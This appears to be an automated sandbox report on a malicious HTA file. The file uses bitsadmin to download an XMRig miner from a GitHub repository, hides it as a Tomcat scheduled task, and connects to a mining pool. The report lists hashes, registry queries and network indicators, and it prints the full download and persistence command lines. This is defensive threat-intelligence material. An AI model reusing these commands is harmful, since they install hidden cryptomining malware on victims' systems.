Analysis Overview
SHA256
3866558b33583617bbfc1e30a72649c03b83ac530ad9125a5ae2854cdc41af80
Threat Level: Known bad
The file service.hta was found to be: Known bad.
Malicious Activity Summary
xmrig
XMRig Miner payload
Download via BitsAdmin
Downloads MZ/PE file
Checks computer location settings
Legitimate hosting services abused for malware hosting/C2
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
Scheduled Task/Job: Scheduled Task
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-25 07:31
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-25 07:31
Reported
2024-07-25 07:34
Platform
win7-20240705-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1124 wrote to memory of 2916 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 1124 wrote to memory of 2916 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 1124 wrote to memory of 2916 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 1124 wrote to memory of 2916 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 1124 wrote to memory of 2884 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 1124 wrote to memory of 2884 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 1124 wrote to memory of 2884 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 1124 wrote to memory of 2884 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta"
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer down https://github.com/lazy909090/service/raw/main/solr.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer down https://raw.githubusercontent.com/lazy909090/service/main/config.json C:\Users\Admin\AppData\Local\Temp\cache\config.json
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.109.133:443 | raw.githubusercontent.com | tcp |
| US | 185.199.109.133:443 | raw.githubusercontent.com | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-25 07:31
Reported
2024-07-25 07:34
Platform
win10v2004-20240709-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
xmrig
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\hostname.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeLockMemoryPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\cache\solr.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\cache\solr.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\cache\solr.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer down https://github.com/lazy909090/service/raw/main/solr.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer down https://raw.githubusercontent.com/lazy909090/service/main/config.json C:\Users\Admin\AppData\Local\Temp\cache\config.json
C:\Windows\SysWOW64\hostname.exe
hostname
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN "Tomcat service for Windows Service" /TR C:\Users\Admin\AppData\Local\Temp\cache\solr.exe /MO 30 /F
C:\Users\Admin\AppData\Local\Temp\cache\solr.exe
"C:\Users\Admin\AppData\Local\Temp\cache\solr.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.109.133:443 | raw.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | 215.156.26.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.109.199.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | us-zephyr.miningocean.org | udp |
| US | 15.204.244.104:5432 | us-zephyr.miningocean.org | tcp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 104.244.204.15.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| IE | 52.111.236.23:443 | tcp | |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\cache\config.json
| MD5 | 35db1b5aa1c10701116639c49f1ca7d0 |
| SHA1 | 965a6e37503706fa1147f7bb8a84a1e50bed3053 |
| SHA256 | 88bde0aa430a438b835b487c38c1563925ac72b6166ab555af49dd002bc744b3 |
| SHA512 | 7f60127b41395ceb39076916f1271fd15a3fc9c22ab9f3734eff7916380a83a71889c90c142c12d5f295bf32844e079aa9c9166c63a2c9a016657931e44af730 |
memory/3848-1-0x000002271B8D0000-0x000002271B8F0000-memory.dmp
memory/3848-4-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-5-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-6-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-7-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-8-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-9-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-10-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-11-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-12-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-13-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp
memory/3848-14-0x00007FF6509C0000-0x00007FF6515F3000-memory.dmp